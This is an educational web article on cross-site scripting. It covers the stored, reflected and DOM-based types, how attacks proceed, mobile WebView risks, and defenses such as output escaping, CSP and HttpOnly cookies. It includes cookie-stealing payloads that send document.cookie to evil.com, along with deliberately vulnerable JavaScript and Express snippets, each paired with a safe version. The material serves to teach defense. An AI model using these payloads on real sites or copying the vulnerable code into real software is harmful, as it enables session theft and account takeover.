XSS — What It Is, Types of Attacks and Protection Methods

Author: IT Sectr Published: 2026-04-06 Reading time: 9 min

XSS (Cross-Site Scripting) is a type of web application vulnerability where an attacker injects malicious JavaScript code into content displayed to other users. According to OWASP Top Ten (2025), XSS remains one of the most common vulnerabilities, affecting over 60% of web applications. Cross-Site Scripting allows stealing session cookies, redirecting users to phishing sites, and modifying page content in real time.

Key Takeaways

  • XSS — script injection into a page that executes in the victim's browser on behalf of a legitimate site
  • Three types — Stored (persistent injection), Reflected (non-persistent) and DOM-based (client-side)
  • Stored XSS — the most dangerous type: malicious code is stored on the server and executes on every page load
  • Reflected XSS — script is passed via URL parameters and triggers when clicking a specially crafted link
  • Output encoding — the main protection method: any user data must be escaped before inserting into HTML

What Is XSS?

XSS (Cross-Site Scripting) is a vulnerability that allows an attacker to inject JavaScript code into a web page, which then executes in the victim's browser. The browser loads the page from a trusted website and executes the injected script with the same privileges as the site's legitimate code. This gives the attacker access to cookies, session storage, the page's DOM tree, and the ability to send requests on behalf of the victim. XSS vulnerabilities occur when an application inserts user data into an HTML page without proper escaping or validation.

History and Relevance of XSS

The term Cross-Site Scripting first appeared in 2000 in a Microsoft Security Bulletin. Over the past 25 years, XSS has not lost its relevance: according to HackerOne (2025), XSS accounts for about 22% of all registered vulnerabilities on the platform. The reason for XSS's persistence is the difficulty of controlling all entry points for user data. Any input field, URL parameter, HTTP request header, or file name can become an attack vector if the data is reflected in the HTML code without processing.

What Damage Does XSS Cause?

XSS attacks can lead to session cookie theft, allowing an attacker to log into the victim's account without a password. Other consequences include: redirection to phishing sites, page content tampering, personal data theft, and malware installation (drive-by download). In 2023, an XSS attack on the Salesforce Community Cloud platform affected data of thousands of enterprise clients, demonstrating that even large platforms are not immune to this vulnerability.

Types of XSS Attacks

The XSS classification divides attacks into three main types based on the method of delivering malicious code. Each type requires a different approach to protection: Stored XSS is blocked by escaping output from the database, Reflected — by escaping URL parameters, DOM-based — by safely working with the DOM API. Understanding the difference is the foundation of an effective security strategy.

TypeScript StorageDelivery VectorDetection Difficulty
Stored XSSServer DatabaseComments, profiles, messagesMedium
Reflected XSSURL ParametersPhishing links, emailHigh
DOM-based XSSClient-Side JavaScriptURL fragments, postMessageVery High

Stored XSS (Persistent)

The most dangerous type of XSS. An attacker injects a script into data that the server stores in a database and displays on every page load. A typical vector is a comment field: the attacker posts a comment with <script>document.location='https://evil.com/?c='+document.cookie</script>. Every user who loads the page with this comment sends their cookies to the attacker. Stored XSS requires no action from the victim other than visiting the page — making it especially dangerous for social networks, forums, and blogs.

Reflected XSS (Non-Persistent)

Malicious script is passed in an HTTP request (usually in a URL parameter) and is immediately reflected by the server in the response. The attacker creates a link like https://example.com/search?q=<script>...</script> and distributes it via phishing, social networks, or email. The victim, by clicking the link, receives a page where the entered search query (script) is displayed without escaping. Reflected XSS requires social engineering — the victim must click on the link, which reduces but does not eliminate the risk.

DOM-based XSS

Unlike Stored and Reflected, DOM-based XSS does not require sending data to the server. The vulnerability occurs when client-side JavaScript inserts user data from the URL, document.referrer, postMessage, or localStorage into the DOM without safe processing. For example, code like document.getElementById('output').innerHTML = location.hash.substring(1) executes any HTML and scripts from the URL fragment (#<img onerror='...'>). DOM-based XSS is the most difficult to detect because the server never receives the malicious payload — it is entirely processed on the client side.

javascript
// DOM-based XSS Example (VULNERABLE CODE)
// If userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — dangerous: inserts raw HTML
document.write('<div>' + userInput + '</div>');

// SAFE ALTERNATIVE — use textContent
document.getElementById('output').textContent = userInput;

How Does an XSS Attack Work?

XSS exploits a fundamental property of the web: the browser executes JavaScript received from a trusted domain. If an attacker finds a way to inject their code into the server's HTML response, the browser executes it with the same privileges as legitimate code. The attack goes through three phases: injection of malicious code into content, delivery of the content to the victim's browser, and code execution with access to the DOM, cookies, and storage.

Injection Phase

The attacker finds an entry point — a field, URL parameter, or header whose value the server includes in the HTML response without escaping. Typical entry points include: search boxes, comment fields, username, avatar URL, cookies, HTTP headers (User-Agent, Referer). Modern frameworks (React, Angular, Vue) automatically escape output, but developers can disable escaping via dangerouslySetInnerHTML, bypassSecurityTrustHtml, or v-html.

Delivery Phase

For Reflected XSS, the attacker distributes the malicious link. For Stored XSS, it is enough to publish content on the target site, and every visitor to the page becomes a victim. DOM-based XSS is activated when a page is loaded with a specific URL fragment. All three phases can be automated: if XSS is discovered in an ad banner (third-party content), the attack will affect all site users until the banner is removed.

javascript
// Reflected XSS Example in Search (VULNERABLE BACKEND)
// Instead of escaping the q parameter, the server inserts it into HTML

// Express.js — vulnerable handler:
app.get('/search', (req, res) => {
    const query = req.query.q; // user input
    res.send(`<h1>Results for: ${query}</h1>`);
});

// SAFE VERSION — escaping via encodeURI or template engine:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS in Mobile Applications

Mobile applications are also susceptible to XSS attacks, though to a lesser extent than websites. The main vector is WebView and hybrid frameworks (Cordova, Capacitor, React Native with WebView). If the app loads web content in WebView — especially user content (HTML email, articles, messages) — an XSS vulnerability can lead to JavaScript execution inside the app with access to native functions via the JavaScript bridge.

XSS in Android WebView

Android WebView executes JavaScript by default. If the app loads an HTML string via loadDataWithBaseURL() or displays user content, an XSS attack can give the attacker access to the JavaScript interface (addJavascriptInterface). Google banned the use of @JavascriptInterface for API < 17, but legacy code in older apps still exists. Protection: disable JavaScript in WebView if not needed, and use safe browsing.

XSS in React Native and Flutter

React Native does not use WebView for UI — components render into native views. However, when displaying HTML via react-native-webview or rich-text components, the XSS risk returns. Flutter uses its own rendering engine (Skia) and does not support JavaScript in HTML widgets (flutter_html does not execute script tags), but WebView plugins (webview_flutter) are vulnerable similarly to native WebViews. Best practice — never pass untrusted HTML to WebView.

  • Disable JavaScript in WebView if content does not require interactivity
  • Use CSP headers to restrict script sources in WebView
  • Sanitize HTML before loading into WebView: remove script tags and event handlers
  • Do not use addJavascriptInterface on Android without strict validation of incoming data
kotlin
// Safe WebView Configuration in Android
val webView = findViewById<WebView>(R.id.webview)

// Disable JavaScript if interactivity is not needed
webView.settings.javaScriptEnabled = false

// Sanitize HTML before loading
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS Prevention Methods

Protection against XSS is built on three principles: don't trust user input, escape before output, use Content Security Policy. Output encoding is the most important method: all data received from the user must be escaped before inserting into HTML, JavaScript, CSS, or URL. Modern template engines (Twig, Handlebars, JSX, Blade) do this automatically unless the developer disables escaping with special methods.

Contextual Escaping

Escaping depends on the context of data insertion. In HTML context, <, >, &, and quotes are escaped. In JavaScript context, backticks, , and </script> are escaped. In CSS context — control characters. In URL context — URL encoding. A context error — for example, inserting an HTML-escaped string into an onclick attribute — does not protect against XSS because onclick executes in a JavaScript context where a different escaping is needed.

Content Security Policy (CSP)

CSP is an HTTP header that limits the sources from which the browser can load scripts, styles, and other resources. Strict CSP (without unsafe-inline, without unsafe-eval) blocks the execution of any inline scripts, including XSS vectors. According to Google Security Blog (2025), sites with CSP block 95% of XSS attacks. Example: Content-Security-Policy: default-src 'self'; script-src 'self' forbids any external and inline scripts. CSP does not protect against Stored XSS if the script is loaded from the same domain, but this requires additional effort from the attacker.

HTTP-only and Secure Cookies

Setting the HttpOnly flag for cookies prevents access to them via JavaScript (document.cookie), which blocks session cookie theft through XSS. The Secure flag ensures that the cookie is transmitted only over HTTPS. The combination HttpOnly + Secure + SameSite=Lax makes session cookie theft through XSS practically impossible. However, XSS can still perform actions on behalf of the user (e.g., sending requests), so HttpOnly is not a panacea but part of a comprehensive defense.

Protection MethodProtects Against XSS TypesEffectiveness
Output EscapingStored, Reflected, DOM-based99%
CSPInline XSS, eval-based95%
HttpOnly cookieSession theft via XSS100% (not readable)
Input ValidationStored, Reflected50% (depends on type)
TRUSTED TYPESDOM-based (innerHTML)90%

Tools for Detecting XSS

Regular XSS testing is a mandatory part of a secure development CI/CD pipeline. Automated scanners find up to 80% of XSS vulnerabilities; the rest require manual penetration testing. The best approach is a combination of SAST (static) analysis, DAST (dynamic) scanning, and code review with a focus on user data entry points.

  • OWASP ZAP — free DAST scanner, automatically finds XSS in web applications
  • Burp Suite Professional — advanced tool with Active Scan and Intruder for XSS
  • XSStrike — specialized XSS scanner with payload generation
  • ESLint-plugin-security — static analysis of React/JSX for dangerous patterns
  • Google Observatory — checks CSP headers and XSS-related configurations

For mobile applications, XSS testing includes WebView analysis: checking JavaScript interfaces, URL scheme handling, and HTML passing to loadDataWithBaseURL. It is also recommended to test postMessage handling in hybrid applications and check what data is passed through the JavaScript bridge. Use an emulator with a proxy (Burp Suite) to intercept and modify mobile app traffic.

Frequently Asked Questions

What is the difference between Stored and Reflected XSS?

Stored XSS stores the malicious script on the server (in the database) and triggers on every page load. Reflected XSS passes the script through a URL parameter, and the attack triggers only when clicking the malicious link. Stored is more dangerous because it requires no action from the victim — simply opening the infected page is enough.

Does HTTPS protect against XSS?

No, HTTPS does not protect against XSS. HTTPS encrypts traffic between the browser and server but does not affect user input handling on the server side. XSS vulnerability exists at the application level, not the transport level. HTTPS is a mandatory security minimum but not a defense against XSS.

Can an XSS attack damage the mobile device itself?

In most cases, XSS executes within the browser or WebView sandbox and does not have access to the file system or device hardware. However, in Android WebView with JavaScript interface enabled, an XSS script can call native application methods. In iOS, WKWebView can also expose data through JavaScriptCore if the appropriate bridge is configured.

How to test for XSS in mobile applications?

Use Burp Suite or OWASP ZAP with a proxy configured on the mobile device. Intercept application requests, modify parameters, and send XSS payloads. Check WebView for HTML handling via loadDataWithBaseURL and the presence of JavaScript bridges. For React Native, test WebView components separately.

What is DOM-based XSS in simple terms?

DOM-based XSS is an attack where JavaScript on the page itself takes data from the URL or other sources and inserts it into HTML without validation. The server does not participate — the malicious code is entirely processed in the browser. A typical example: a site takes text from location.hash and inserts it via innerHTML, allowing any HTML code to be executed.

Summary

  • XSS — cross-site scripting that allows injecting JavaScript code into a web page to attack the victim's browser
  • Three types — Stored (persistent, in DB), Reflected (non-persistent, via URL), DOM-based (client-side, via DOM API)
  • Stored XSS — the most dangerous: requires no action from the victim, triggers on infected page load
  • Output escaping — the main defense method: contextual escaping before inserting into HTML, JS, CSS, URL
  • CSP headers block 95% of XSS attacks by forbidding inline scripts and external sources
  • HttpOnly and Secure — cookie flags preventing session theft via document.cookie
  • Regular testing — OWASP ZAP, Burp Suite, and code review are mandatory in the CI/CD pipeline

We will develop a mobile application turnkey

IT Sectr creates iOS and Android applications for startups and businesses since 2017. We will advise you and propose the best solution.

Discuss the project

Read also